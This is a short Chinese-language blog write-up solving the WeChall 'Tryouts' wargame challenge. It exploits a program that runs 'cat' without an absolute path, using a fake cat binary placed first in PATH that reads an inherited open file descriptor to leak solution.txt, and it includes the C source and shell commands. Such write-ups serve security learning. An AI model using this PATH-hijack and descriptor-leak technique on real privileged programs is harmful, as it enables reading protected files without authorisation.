Tryouts

Posted by rk700 on June 18, 2014

http://www.wechall.net/challenge/warchall/tryouts/index.php
用IDA反汇编,基本上了解了题意。最初的想法比较直接:从随机数下手。但根据后来在网上搜到的情况,/dev/urandom虽然不是那么随机,但熵基本上还是足够的

仔细阅读反汇编得到的C代码,发现了以下不自然的地方:

snprintf((char *)&v16, 0x200u, "cat %s/seed > /dev/urandom", v20->pw_dir);

这里直接用cat而没用绝对路径,也就是说我们可以在家目录下创建一个新的可执行文件,名字也叫cat,然后将$HOME放在$PATH的最前面,那么这个cat就会被执行

另外,solution.txt的file descriptor到了最后的最后才关闭,甚至在/dev/urandom后,这点太不自然了,按说读完了solution.txt就已经完全不需要这个描述符了

于是查资料,子进程是可以继承父进程的文件描述符(其实以前好像见过类似的题目):

The child inherits copies of the parent’s set of open file descriptors. Each file descriptor in the child refers to the same open file description (see open(2)) as the corresponding file descriptor in the parent. This means that the two descriptors share open file status flags, current file offset, and signal-driven I/O attributes (see the description of F_SETOWN and F_SETSIG in fcntl(2)).

By default, file descriptors remain open across an execve(). File descriptors that are marked close-on-exec are closed; see the description of FD_CLOEXEC in fcntl(2).

rsolution.txt的描述符应该是3,因为0,1,2已经被占用。于是我们写cat.c,lseek到文件开始处,再读16个字符

#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {
    FILE *fp = fopen(argv[1], "w");
    char buf[16];
    memset(buf, 0, sizeof buf);
    lseek(3, 0, SEEK_SET);
    read(3, buf, sizeof buf);
    fprintf(fp, "%s", buf);
    return 0;
}

将其编译
$ gcc -m32 cat.c -o cat
然后设置路径
$ export PATH=$HOME:$PATH
这样就会把solution.txt的内容写到文件seed里面了